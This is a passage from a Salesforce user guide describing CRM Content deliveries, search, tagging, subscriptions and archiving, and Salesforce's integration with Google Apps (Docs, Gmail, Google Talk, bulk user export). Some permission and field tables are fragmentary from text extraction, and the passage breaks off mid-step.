Setting up Content Deliveries
Salesforce CRM Content Overview
309
On the Content Deliveries related list or the Content Deliveries list page, click the name of a content delivery to open the
detail page.
Viewing Content Delivery Details
The delivery detail page provides all the information associated with a content delivery, including the URL required to
access the content delivery, the number of times the delivery has been viewed, and the delivery settings. For a description
of each field, see Content Delivery Fields on page 1464.
Editing Content Delivery Details
Click Expire Now to immediately remove access to the content delivery. Click Edit to modify details such as the delivery
methods, expiration date, or the record the delivery is associated with. For a description of each field, see Content
Delivery Fields on page 1464.
Deleting Content Deliveries
Click Delete to remove access to the content delivery and delete the delivery record from Salesforce. Salesforce CRM
Content users cannot delete files that are associated with a content delivery until the content delivery is deleted.
Tracking Content Deliveries
Each time a content delivery's URL is opened, Salesforce records the event as a view. The Views related list on the
content delivery detail page lists every view associated with the delivery. Information about the view includes the date
and time, whether the view was by an internal (Salesforce) user, and whether the view included a download. If the content
310
delivery provided the ability to download the file in its original file format or as a PDF file, the File Downloaded flag
indicates that a download occurred, but you cannot distinguish between file types.
See Also:
Creating Content Deliveries
Using the Content Deliveries Related List
information
AND
Member of the library
Clicking the Content tab displays files, content packs, Web links, and Google docs published in your Salesforce CRM Content
libraries. If Chatter is enabled, and your administrator has enabled the setting to show Chatter files in Salesforce CRM Content,
files posted to Chatter groups and other Chatter files that aren't private or privately shared, are also displayed on the Content
tab. The top twenty most recently modified items are listed by default. You can filter the list using the Filter Your Results
sidebar.
To search for specific content:
1. From the Search drop-down list, restrict your search to a specific library or choose to search in all libraries. If available,
restrict your search to just Chatter files or just files in Chatter groups you're a member of.
Tip: To display all the locations where the content appears, click Display Options and select Display Locations.
The locations are listed under each title.
2. Enter your search term(s) and click Go!. Salesforce CRM Content performs a full-text search of the following document
types: rich text format (RTF), UTF-8 encoded TXT, HTML, XML, Adobe PDF, and Microsoft Office 97 through
Microsoft Office 2007 Word, Excel, and PowerPoint files. Wildcard searches (*) are not supported.
3. If multi-language support is enabled, you can restrict your search to a specific language. By default, Salesforce CRM
Content searches all the content in your libraries that is published in your default user language. Searching in all languages
also searches the titles, author names, tags, file extensions, and custom fields of content in all languages.
Note: Searching in all languages does not search the text or description of documents that were published in
languages other than your default user language.
311
4. Optionally, in the Filter Your Results sidebar, filter your search results by file format, featured content, author, tag, libraries,
language, custom field, or Chatter group (if available). The number in parentheses next to each filter type shows you how
many matching files, content packs, Web links, and Google docs are in the search results.
The Content tab provides several options:
Click Display Options to customize your view by adding sortable columns for various content criteria (such as Size and
Publication Date), or choosing to display descriptions, tags and locations. Display Locations shows the libraries and
Chatter groups where the content appears. My Libraries: none or My Chatter Groups: none means that the file is a
Chatter file and is not part of any libraries or Chatter groups. The smart bar graphic for downloads, comments, ratings,
and subscribers allows you to compare files, content packs, Google docs, and links within a search result set.
Note: Chatter groups are only included in Display Locations if Chatter is enabled, and your administrator has
enabled the setting to show Chatter files in Salesforce CRM Content.
Select one or more files and click Download to create a zip file with your selected content. Web links and Google docs
cannot be included in zip files.
Hover over a file icon to see a snapshot of information about the specific file, content pack, Google doc, or Web link and
options such as subscribing, voting, and downloading.
Click the subscription icon next to the file name to toggle a subscription on or off. For more information, see Viewing and
Editing Content Subscriptions on page 317.
Click the file name to view the content details page. The content details page provides all the available information about
a file, content pack, Google doc, or link. For more information, see Viewing and Editing Content Details on page 313.
Search supports several file types and has limits on file sizes. If a file exceeds the maximum size, the text within the file isn't
searched, but the file's author name, tags, file extension, and custom fields are.
File Type
File Extensions
HTML
5 MB
25 MB
PPT
25 MB
RTF
.rtf
5 MB
Text
5 MB
Word
25 MB
XML
.xml
5 MB
XLS
5 MB
See Also:
Deleting, Archiving, and Restoring Content
Uploading and Publishing Content
Managing Libraries
312
None
definition
OR
Author of the content
To permanently delete content:
definition
To view and edit comments:
definition
To delete comments:
definition
To tag content:
definition
To deliver content from a shared library:
definition
To deliver content from a personal library:
permission definition
Clicking a file name on the Libraries, Content, or Subscriptions tabs opens the content details page, which is a central access
point to preview content and gather information about a particular file, Web link, content pack, or Google doc in Salesforce
CRM Content. Starting with the Summer '10 release, if Chatter is enabled for your organization, files posted to Chatter are
also listed.
The Preview tab displays if your file is one of the following types:
Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint. Some Microsoft Office 2007 features
don't display correctly in previews.
Adobe PDF. Copy-protected PDFs can't be previewed.
JPG, BMP, GIF, and PNG
313
The following options are available on the content details page depending on the type of content you are viewing, your library
permissions, and whether the content is in a public or private library, or from Chatter:
Click the thumbs up or thumbs down icon to vote for the file, Web link, content pack, or Google doc. To change your
vote, click the opposite icon. After you cast a vote, the Recent Activity list on the Libraries tab indicates whether you like
or dislike the content.
Click Deliver Content to create a content delivery. Click Deliver Content > Show Content Deliveries to view a list of
deliveries associated with the content.
For Web links or Google docs, click the Open button to open the Web page in a separate window. For files, click the
Download button to open or save the file.
Click Subscribe or Subscribed to toggle your subscription on or off.
For content packs, click Clone & Customize to create a new pack by adding or removing files and slides. Salesforce CRM
Content saves or publishes your customized pack as new content, not a version of the pack you copied.
Click Edit > Edit Content Details to modify standard and custom fields.
Click Edit > Edit Content Pack to create a new version of a content pack by adding or removing files.
For files, click Edit > Upload New Version to replace the file with a new version. The version option is not available for
Web links, content packs, or Google docs.
Note: If the Add New Version button is grayed out, your organization has exceeded its file storage allowance and
new content cannot be uploaded.
Click Edit > Archive Content to remove the file, Web link, content pack, or Google doc from the library. Authors can
archive and restore their own content regardless of library permissions.If a file is in Salesforce CRM Content and also
posted in Chatter, archiving it doesn't remove the Chatter post.
Click Edit > Delete Content to delete the file, Web link, content pack, or Google doc from Salesforce CRM Content by
moving it to the Recycle Bin. Authors can delete and undelete their own content regardless of library permissions. Deleting
a Google doc removes the doc's association with Salesforce CRM Content but does not delete the doc in Google Apps.
You cannot delete a file that is included in a content pack or content delivery. Deleting a Chatter file from the content
details page deletes the file from Salesforce CRM Content and from Chatter.
Click Edit > Library Actions and choose Move to Another Library to move the content to a different managing (or
home) library. Choose Share to Another Library to share content into additional libraries without changing the managing
library. Sharing or linking content to other libraries enables members of those libraries to find your content. If the managing
library and shared library have different tagging rules, the most restrictive tagging rule applies. If you want to remove
content from a library where the content is shared, click Remove from Libraries. This option does not remove content
from its managing library
Click the Comments subtab to view, add, edit, or delete comments.
Click the Versions subtab to view a list of all file versions and the reason-for-change statements provided by the authors.
Click the Downloads subtab to view a list of all Salesforce CRM Content users who have downloaded the file. Download
data is not available for Web links or Google docs.
Click the Subscribers subtab to view a list of all Salesforce CRM Content users subscribed to the file, Web link, or Google
doc. To subscribe to an author, click the drop-down button next to the author's name. To subscribe to a library, click the
drop-down button next to the library name.
Click a tag name to view all the content associated with that tag. Click the arrow next to the tag to remove the tag or to
subscribe to all content with that tag.
To add a new tag, enter a tag name in the Add Tags field and click Save. As you type a tag, Salesforce CRM Content
autosuggests tags based on the tags in your My Recent Tags list in the Save or Publish window and the Popular Tags
section on the Libraries tab.
314
Note: If your administrator applied a library tagging rule, you may not be able to enter new tags. If the guided
tagging rule is applied, you can click Add Tags and choose from the list of suggested tags or enter new tags. If the
restricted library tagging rule is applied, you can click Add Tags and choose from the list of suggested tags, but
you cannot enter your own tags.
Click the author's name to see a list of the author's published content. Click the arrow next to the author's name and choose
Subscribe to Author to subscribe to all content published by that author.
Click Feature or Don't Feature to toggle the feature designation on or off. Featured content receives a higher priority
than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured
files with that term will appear at the top of the search results list. Featured content is also listed on the library overview
and library detail pages for quick access.
Click a library name to view details about the library. Click the arrow next to the library name and choose Subscribe to
Library to subscribe to all content in the library or Show Library Content to view a list of all files, content packs, Web
links, and Google docs published to the library.
See Also:
Updating Content Versions
Deleting, Archiving, and Restoring Content
Searching for Content
definition
To archive and restore content that you published:
To delete content:
definition
Salesforce CRM Content offers two methods for removing content: archiving and deleting. Archiving a piece of content
removes it from its library but does not permanently delete it from Salesforce CRM Content. Once archived, content cannot
be downloaded and it does not appear in search results, but you can locate and restore it if necessary. Deleted content, however,
is permanently deleted from Salesforce CRM Content when the Recycle Bin is emptied.
Note: If you delete a content pack, you do not delete the individual files within the pack; only the pack (container) is
deleted. Files that are included in a content pack or content delivery cannot be deleted until the pack or delivery is
deleted.
To archive or delete content:
1. Click the file name on the Libraries, Content, or Subscriptions tabs.
315
Authors can always archive and restore their own content. Authors do not require the Archive Content
library permission option.
If a file is in Salesforce CRM Content and also posted in Chatter, archiving it doesn't remove the Chatter post.
Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from
Chatter.
To restore archived content, open the content details page and click Restore Content. You can use any of the following
methods to open the content details page for an archived piece of content:
To restore deleted content, click on the Recycle Bin link in any tab. Select the content and click Undelete.
Note: Archived and deleted files are automatically removed from subscription lists. Subscribers are not notified when
content is archived or deleted.
See Also:
Uploading and Publishing Content
Updating Content Versions
Viewing and Editing Content Details
Viewing and Editing Content Deliveries
316
information
AND
Member of the library
Clicking the Subscriptions tab displays the Subscriptions home page, where you can view your Salesforce CRM Content
subscriptions and toggle them off or on.
Note: To subscribe to a file, content pack, Web link, or Google doc, view its content details page and click Not
Subscribed. From the content details page you can also subscribe to a tag, author, or library by using the drop-down
menus next to the tag, author, or library name.
On the Subscriptions tab, click the Content, Tags, Authors, or Libraries subtabs to view your subscriptions. Depending on
your notification settings, you are notified of changes to your subscribed content via real-time emails or a once-daily email.
Tip: To configure your notification settings, go to Your Name > Setup > My Personal Information and click Edit.
Choose Receive Salesforce CRM Content email alerts. If you want to receive a once-daily summary
rather than real-time email alerts, also select Receive Salesforce CRM Content emails as daily digest.
Subscriptions generate the following notifications:
If you subscribe to a file, you are notified when a viewer adds comments to the file or when a new version of the file is
published. If you subscribe to a Web link or Google doc, you are notified when comments are added but not when the
link is changed or the doc is edited.
If you subscribe to a content pack you are notified when a new version of the pack is published. Unless you are subscribed
to the individual files within a content pack, you are not notified when new versions of the files are published.
If you subscribe to a tag, you are notified of any newly published content that is associated to the subscribed tag. To be
notified that new versions of the tagged content are available, subscribe to the content.
If you subscribe to an author, you are notified when the author publishes new content. To be notified that new versions
of an author's content are available, subscribe to the content.
If you subscribe to a library, you are notified when new content is added to the library, including existing content that has
been newly linked to your subscribed library. To be notified that new versions of the library content are available, subscribe
to the content.
See Also:
Searching for Content
Viewing and Editing Content Details
Managing Libraries
317
Clicking a file name on any Salesforce CRM Content tab opens the content details page.
If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in
the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and
the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags
you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
You cannot edit a file within Salesforce CRM Content. To edit a file, download it from Salesforce CRM Content to your
computer, make your changes, then upload the updated version using the Upload New Version button.
The Versions subtab on the content details page lists all content versions. The Recent Activity list on the Libraries tab
also notifies users of new content versions.
318
Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of 5,000
new versions per 24hour period. Developer Edition and trial users can publish a maximum of 2,500 new versions per
24hour period.
See Also:
Deleting, Archiving, and Restoring Content
Searching for Content
Viewing and Editing Content Details
User Permissions
To access Salesforce CRM Content:
information
AND
Member of the library
If your organization has Salesforce CRM Content enabled, you can take advantage of Salesforce CRM Content functionality
on detail pages for leads, accounts, contacts, opportunities, products, cases, or custom objects. The Related Content related
list allows you to search for files, content packs, Web links, or Google docs and attach them to the record. When you attach
a file, the latest version will be available for the life of the record unless the file is removed.
From the Related Content related list, you can:
Click the content's title to view the content details page where you can perform several tasks, such as commenting and
voting on content, downloading files, opening Web pages and Google docs, and subscribing to content, authors, tags, or
libraries. For more information, see Viewing and Editing Content Details on page 313.
Click Del next to a piece of content to remove it from the record. This does not delete the content from the Salesforce
CRM Content library.
If content deliveries are enabled in your organization, click Deliver Content to create a content delivery. A content delivery
allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version
for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads,
customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking,
content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the
delivery is available to viewers and whether a viewer can download a file or see it online only. For more information, see
Creating Content Deliveries on page 308.
Search for related content:
1. Click Find Content or Search All. In both cases, Salesforce CRM Content searches within the libraries that you have
access to. If you click Search All, the search results display all the content in your libraries. For the Find Content search,
319
your search results contain content that is relevant to the record; Salesforce CRM Content searches for content with
text or attributes that match the following fields:
On an opportunity, the Opportunity Name, Account Name, and all competitors and products.
On an account, the Account Name and Industry.
On a case, the Case Reason, Subject, Account Name, and Industry.
On a lead, the Name, Company, Industry, and Title.
Note: On a custom object, clicking Find Content returns search results that contain the full custom object
name in the document's text or attributes. If no content meets this criterion, the search results will be empty
and a Search All search should be used instead.
2. On the search results page, filter your results as needed by entering search terms or selecting filter criteria from the
sidebar.
3. Click Attach for any file that you want to attach to the record.
4. Click the Back link to return to the detail page.
See Also:
Salesforce CRM Content Overview
Customizing Salesforce CRM Content
Viewing and Editing Content Details
Uploading and Publishing Content
information
The Content related list on a record detail page includes links to all of the content that has been associated with that record
in Salesforce CRM Content. Click the file name to open the content details page.
Only Salesforce CRM Content users who are members of the library where the content was published can see the published
file in the Content related list. For example, if you select the Big Deal opportunity when publishing BigDealStrategy.doc
into the Sales Collateral library, the Content related list on the Big Deal opportunity includes a link to
BigDealStrategy.doc only for members of the Sales Collateral library. Users who are not members of that library do not
see the link.
320
You can use the Related Content related list to access Salesforce CRM Content from leads, accounts, contacts, opportunities,
products, cases, or custom objects. For more information, see Finding Salesforce CRM Content on page 319.
See Also:
Salesforce CRM Content Overview
Finding Salesforce CRM Content
Use the Google Docs, Notes, & Attachments or Google Docs & Attachments related list on any Salesforce record
to create, edit, or view Google docs and associate them to a record.
Share a Google doc with any Google Apps user in your organization.
Associate Google docs with Salesforce records even when you are not working in Salesforce by using the Add Google
Doc to Salesforce browser button.
Add Google docs to Salesforce CRM Content, which allows you to manage all types of content in a centralized
location.
Gmail to Salesforce
Gmail is a Web-based email application that operates on all standard browsers and can be used with your company's
domain. Use Gmail to Salesforce to automatically log emails you send from your Gmail account as activities on lead and
contact records in Salesforce.
Gmail Buttons and Links
Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in
Activity History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button, Salesforce
321
automatically logs you into your Gmail account and automatically populates the To field. If Gmail to Salesforce is
activated, Salesforce also populates the BCC field with your Email to Salesforce address.
Google Talk Sidebar Component
Google Talk is Google's instant-messaging tool. When the Google Talk Sidebar Component is activated in Salesforce,
Google Talk displays in the sidebar where it can be toggled on, off, or expanded into its own window. You can also log
a chat record as an activity on a Salesforce lead or contact record.
Implementation Tips
For detailed information about Google Apps, refer to Google's online help.
Google Apps in Salesforce is available for Google business accounts but not consumer accounts. You can identify a consumer
account by the gmail.com domain in an email address; for example, myname@gmail.com is a consumer account. The
Google Apps domain you set up in Salesforce must be the domain you registered with Google for your organization; for
example, mycompany.com is a business rather than consumer account.
After creating a Google Apps account for your organization, create Google Apps accounts for your Salesforce users by
clicking Export to Google Apps from Your Name > Setup > Manage Users > Users.
Notify users of their Google Apps usernames and passwords.
Notify users about the changes they will see in Salesforce when Google Apps services are activated. For example, activating
the Google Talk Sidebar Component adds Google Talk to the sidebar for all users in your organization.
To view all the Google apps available on Force.com AppExchange, visit http://sites.force.com/appexchange.
By default, Google Apps users on your organization's domain can share Google docs with Google Apps accounts outside
your domain. The control panel for your Google Apps account contains sharing settings that enable you to restrict document
sharing to within your domain.
When the Add Google Docs to Salesforce service is deactivated, Google docs cannot be accessed from Salesforce records,
and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from Salesforce. If
the Add Google Docs to Salesforce service is reactivated within 30 days, Google docs that were associated with Salesforce
records before the deactivation are restored to their previous location. Deactivating the Add Google Docs to Salesforce
service does not affect Google docs in Salesforce CRM Content libraries; deactivation does not remove Google docs
associations in libraries and does not permanently delete Google docs in Recycle Bins.
Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new
Google docs and associate existing Google docs to a Salesforce library. Portal users without access to Salesforce CRM
Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a record
because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users cannot
use the Add Google Doc to Salesforce browser button.
Customer Portal and partner portal users cannot access the Gmail Buttons and Links or Google Talk Sidebar Component
services.
If your organization purchased the Salesforce for Google Apps Supported feature, see Getting Started With Salesforce
and Google Apps Supported on page 325.
Best Practices
Test your Google Apps integration using a sandbox or Developer Edition organization.
Manage Google Apps users as you would Salesforce users. For example, if you deactivate a Salesforce user, also deactivate
his or her Google Apps account in the control panel for your organization's Google Apps account. For information about
administering your organization's Google Apps account, refer to Google's online help.
To locate a Google doc quickly in Salesforce, search for the doc using sidebar search.
322
If Google Talk is in the sidebar, refreshing a Salesforce page causes Google Talk to momentarily disconnect and reconnect.
Recommend to your users that they open Google Talk in its own window if they want to have longer chats.
See Also:
Getting Started with Salesforce and Google Apps
Using Google Docs in Salesforce
Using Gmail in Salesforce
Using Google Talk in Salesforce
Customize Application
Customize Application
Customize Application
Google Apps is a suite of on-demand communication and collaboration services hosted by Google and designed for business
users. If your organization has a Google Apps account, Salesforce administrators can enable Google Docs, Gmail, Google
Talk, and a host of Google-related AppExchange appscustomized for use within Salesforce. For a description of the Google
Apps functionality in Salesforce, see Google Apps Overview on page 321.
On the Your Name > Setup > Google Apps > Settings page, click Sign Up to launch the account-creation page on the
Google website. You are prompted to register your organization's domain name or purchase a new domain name from
Google. A domain is the portion of a website's URL that follows the www. Follow Google's steps to configure your new
or existing domain and set up your Google Apps account.
If your organization purchased the Salesforce and Google Apps Supported feature, click Your Name > Setup > Google
Apps > Premier Setup to create a new Google Apps Premier Edition account or upgrade your existing Standard Edition
account to Premier Edition. For details, see Getting Started With Salesforce and Google Apps Supported on page 325.
Note: Google Apps in Salesforce supports Google Apps business accounts but not consumer accounts. You can
identify a consumer account by the gmail.com domain in an email address; for example, myname@gmail.com is a
consumer account. The Google Apps domain you set up in Salesforce must be the domain you registered with Google
for your organization; for example, mycompany.com is a business rather than consumer account.
323
See Also:
Using Google Docs in Salesforce
Using Gmail in Salesforce
Using Google Talk in Salesforce
324
Customize Application
OR
Google Apps Administrative Contact
The Salesforce and Google Apps Supported feature includes a Google Apps Premier Edition account for your organization.
In Salesforce, you can create that account or upgrade from an existing Google Apps Standard Edition account to Google Apps
Premier Edition. For a description of the Google Apps services available in Salesforce, see Google Apps Overview on page
321.
After you create a new Google Apps Premier Edition account or upgrade your existing Google Apps Standard Edition account
in Salesforce, the Premier Setup page displays your organization's domain name, the number of Google Apps Premier Edition
licenses available to your organization, and, if applicable, the status of your upgrade.
Description
Domain Name
User Name
325
Field
Description
can log in with the User Name and Password and change
this value if necessary.
First Name
Last Name
Email Address
Password
Confirm Password
326
Field
Description
Domain Name
See Also:
Google Apps Overview
Getting Started with Salesforce and Google Apps
327
Customize Application
Click Your Name > Setup > Google Apps > Settings to edit your Google Apps domain settings, activate or deactivate Google
Apps services in Salesforce, or install or uninstall Google-related Force.com AppExchange packages. For a description of
Google Apps functionality in Salesforce, see Google Apps Overview on page 321.
Important: You cannot use Salesforce and Google Apps until a Google Apps account has been created for your
organization and your Google Apps domain settings are configured in Salesforce. For instructions on creating an
account and configuring your domain settings, see Getting Started with Salesforce and Google Apps on page 323.
328
To install or uninstall an AppExchange app, click Install or Uninstall next to the appropriate name. To view all Google-related
AppExchange offerings, visit http://sites.force.com/appexchange.
See Also:
Installing a Package
Uninstalling a Package
Google Apps Overview
Customize Application
After creating a Google Apps account for your organization and enabling Google Apps in Salesforce, you can create Google
Apps accounts for individual users. To access the Google Apps services that are enabled in Salesforce, each user needs a Google
Apps account on the domain your organization registered with Google. An account includes a username and password that
allow the user to log into all Google Apps services.
Note: If your organization purchased Salesforce and Google Apps Supported, the number of Google Apps Premier
Edition accounts you can create is limited to the number of licenses your organization purchased.
To export a list of users to Google and create Google Apps accounts for each user:
1. Click Your Name > Setup > Manage Users > Users.
2. In the View drop-down list, choose a list of users. To create a custom list view, see Creating Custom List Views on page
272.
3. Click Export to Google Apps to export all the users in the list. To export certain users only, select those users in the Action
column.
Note: If Google Apps is not enabled for your organization, the Export to Google Apps button does not display.
To enable Google Apps in Salesforce, see Getting Started with Salesforce and Google Apps on page 323.
4. On the Export Users to Google Apps page, click the export file link that is labeled as Step 1. The name of the link depends
on the list view you chose to export; for example, if you were viewing the All Users list, the link on the Export Users to
Google Apps page is All Users Export File.
5. In the CSV spreadsheet that displays when click you the export link, provide a temporary password for each user. You can
modify the username, last name, and first name fields for any user as needed. Google creates account names by
adding your domain to the usernames in the spreadsheet; for example, if your domain is acme.com and the spreadsheet
contains john.doe and jane.doe usernames, the Google Apps usernames are john.doe@acme.com and jane.doe@acme.com.
6. Save the spreadsheet to your computer.
329
7. Click the Google Apps Bulk User Import Tool link to launch the Bulk Account Update page for your organization's
Google Apps account. If prompted, log in with your Google Apps administrator username. Only the user who is registered
with Google as the administrator of your organization's account can create additional Google Apps accounts on your
organization's domain.
8. Follow Google's instructions to import the data in the spreadsheet. The Google Apps administrator receives a confirmation
report, and the user for each successfully created account receives a notification email at his or her new Gmail account..
9. Notify users of their usernames and passwords. They will need this information to use any Google Apps service that is
enabled in Salesforce.
See Also:
Google Apps Overview
Getting Started with Salesforce and Google Apps
Customize Application
Use Google Docs to create and share on-demand documents, presentations, and spreadsheets (Google docs) and see your
changes in real time as you collaborate with other users. Because your content is stored within Google, there is no need to
manage versions or send attachments by emailsimply log in with your Google Apps account and view the current document
or its revision history.
Salesforce and Google Apps allows you to integrate Google Docs with Salesforce in these ways:
The Docs home page in your Google Apps account lists all the Google documents, presentations, and spreadsheets that
you have created or that other Google Apps users have shared with you.
Associate Google docs with Salesforce recordsFrom the Docs home page you can associate a Google doc with Salesforce
records by using the Add Google Doc to Salesforce browser button. You can also create, edit, or delete Google doc
associations on any Salesforce record by using the Google Docs, Notes, & Attachments or Google Docs & Attachments
related lists.
Use Salesforce CRM Content to manage your Google Docs If Salesforce CRM Content is enabled, you can use the
Contribute tab or the Add Google Doc to Salesforce browser button to add Google docs to your libraries. Including
Google docs in Salesforce CRM Content allows you to manage all types of content in a centralized location.
330
See Also:
Activating Google Docs in Salesforce
Adding Google Docs to Salesforce
Installing the Add Google Doc to Salesforce Browser Button
Customize Application
Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To
use these services, your users must have Google Apps accounts on your domain. For more information, see Getting
Started with Salesforce and Google Apps on page 323.
Google Docs allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and
work together in real time with other collaborators.
To activate or deactivate the Add Google Docs to Salesforce service:
1.
2.
3.
4.
Click Your Name > Setup > Google Apps > Settings.
Click Edit next to the Add Google Docs to Salesforce option in the Activate Google Apps Services list.
Select or deselect the Activate checkbox.
If you are activating the Add Google Docs to Salesforce service, read the Terms of Use and select the checkbox indicating
you agree to the Terms of Use.
5. Click Save.
When the Add Google Docs to Salesforce service is enabled, the following changes allow users to create, edit, or view Google
docs and associate them with Salesforce records:
The Notes & Attachments related list on accounts, assets, contacts, contracts, leads, opportunities, products, and custom
objects is renamed to Google Docs, Notes, & Attachments.
The Attachments related list on cases, solutions, and campaigns is renamed to Google Docs & Attachments.
If Salesforce CRM Content is enabled, the Libraries tab has an Add Google Doc drop-down list.
Users can also install the Add Google Doc to Salesforce browser button, which allows them to associate a Google doc to
several Salesforce records or a Salesforce CRM Content library without being logged into Salesforce. For more information
see Installing the Add Google Doc to Salesforce Browser Button on page 336 and Adding Google Docs to Salesforce on page
332.
331
Implementation Tips
See Also:
Adding Google Docs to Salesforce
Installing the Add Google Doc to Salesforce Browser Button
Note: To use a Google Apps service in Salesforce, you must be logged in to your Google Apps business account.
Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your
Google Apps username and password, contact your administrator.
Salesforce offers three methods for creating new Google docs and associating them with Salesforce records:
You can create a Google doc from any detail page. The doc is automatically associated with the record and is visible to
anyone with access to both the record and the Google doc.
332
You can create a Google doc from the Docs home page in your Google Apps account and associate the doc to one or more
Salesforce records or Salesforce CRM Content libraries using the Add Google Doc to Salesforce browser button.
If Salesforce CRM Content is enabled, you can create a Google doc from the Contribute tab to associate it with a Salesforce
CRM Content library.
Tip: For information about using Google Docs, refer to Google's online help.
Microsoft Word (doc), text (txt), rich text format (rtf), OpenDocument text (odt), or StarOffice document (swx)
files up to 500 KB each
Microsoft Excel (xls), comma-separated value (csv), or OpenDocument spreadsheet (ots) files up to 1 MB each
Note: If commas are not appropriate for your locale, use a tab or other delimiter.
To link an existing Google doc to a record, see Editing Google Doc Links on page 335.
333
If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags
in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.
f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content library, or
click Cancel to save the doc to your personal library. From there you can delete the doc from Salesforce CRM Content
or publish it later. Once a Google doc is published in Salesforce CRM Content, all library members can search for the
doc and provide feedback such as comments and votes.
334
Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization.
Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM
Content.
See Also:
Using Google Docs in Salesforce
Installing the Add Google Doc to Salesforce Browser Button
Note: To use a Google Apps service in Salesforce, you must be logged in to your Google Apps business account.
Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your
Google Apps username and password, contact your administrator.
You can associate an existing Google doc with a Salesforce record by adding the name and URL of that Google doc to the
record. An existing Google doc is one that you already have access to on your Google Apps account but is not already associated
with the record you are viewing.
Note: To add an existing Google doc to a Salesforce CRM Content library, see Contributing Google Docs to Salesforce
CRM Content on page 303.
To add an existing Google doc to a record:
1. Display the record you want to associate with the Google doc.
2. On the Google Docs, Notes, & Attachments or Google Docs & Attachments related list, click Add Google Doc and
choose Add Existing.
3. Enter a Name for the Google doc and its URL.
4. Click Save.
Tip: You can find the URL by clicking Take me to Google Docs.
Once a Google doc is associated with a Salesforce record, clicking Edit next to that doc on the Google Docs, Notes, &
Attachments or Google Docs & Attachments related list displays the Add Existing Google Doc page. Modify the Name and
URL as needed.
335
Tip: For information about using Google Docs, refer to Google's online help.
See Also:
Using Google Docs in Salesforce
Adding Google Docs to Salesforce
Installing the Add Google Doc to Salesforce Browser Button
A browser button is an applet, or small computer application, that provides one-click functionality similar to a bookmark. The
Add Google Doc to Salesforce browser button allows you to associate a Google doc with several Salesforce records at once,
even when you are not working in Salesforce. To use this browser button, the Add Google Doc to Salesforce service must be
enabled and you must install the browser button in your browser.
You can access the Add Google Doc to Salesforce browser button on the Contribute tab in Salesforce CRM Content or on
a record detail page:
1. Display any record in Salesforce that has a Google Docs, Notes, & Attachments or Google Docs & Attachments related
list on the record detail page.
2. Choose Add Existing from the Add Google Doc drop-down button in the Google Docs, Notes, & Attachments or Google
Docs & Attachments related list. If the related list contains a Google doc, you can also click Edit next to the Google doc.
3. Click Get the browser button at the bottom of the page.
Note: Because Customer Portal and partner portal users do not have access to the Google Docs, Notes, & Attachments
or Google Docs & Attachments related list in the portal, portal users can only obtain the browser button from the
Contribute tab in Salesforce CRM Content.
If you use more than one type of browser, for example Microsoft Internet Explorer and Mozilla Firefox, install the browser
button in each browser. Google Chrome is not supported for the browser button. The instructions for installing the browser
button depend on your browser. In Firefox, drag the browser button to your Bookmarks Toolbar. In Apple Safari, drag the
browser button to your Bookmark Bar. In Internet Explorer:
Note: The instructions may vary slightly based on your version of Internet Explorer.
1.
2.
3.
4.
Right-click the browser button and choose Add to Favorites... from the Add Google Doc to Salesforce page.
Save the browser button in the Links folder and click Add.
In your browser menu bar, click View > Toolbars and ensure that the Links toolbar is visible.
Close and restart your browser. The browser button displays in your Links toolbar.
336
Note: If you change your personal language setting in Salesforce and want to change the language on the browser
button also, you must delete and reinstall the browser button.
See Also:
Adding Google Docs to Salesforce
Associating Google Docs with Salesforce Records
When you create, edit, or view a Google doc from your online Docs home page in your Google Apps account, click the Add
Google Doc to Salesforce browser button to associate the Google doc with one or more Salesforce records.
If Salesforce CRM Content is enabled in your organization, you can also add the Google doc to a Salesforce CRM Content
library. Including Google docs in Salesforce CRM Content allows users to access all types of content from a single location
and apply Salesforce CRM Content functionality, such as votes, comments, and subscriptions, toGoogle docs.
To associate a Google doc with Salesforce records from the Docs home page:
1.
2.
3.
4.
5.
6.
To associate a Google doc with Salesforce CRM Content from the Docs home page:
1. Open a Google doc.
2. Click the Add Google Doc to Salesforce browser button.
3. In the Salesforce CRM Content message window at the top of the page, click Publish your Google Doc into Salesforce
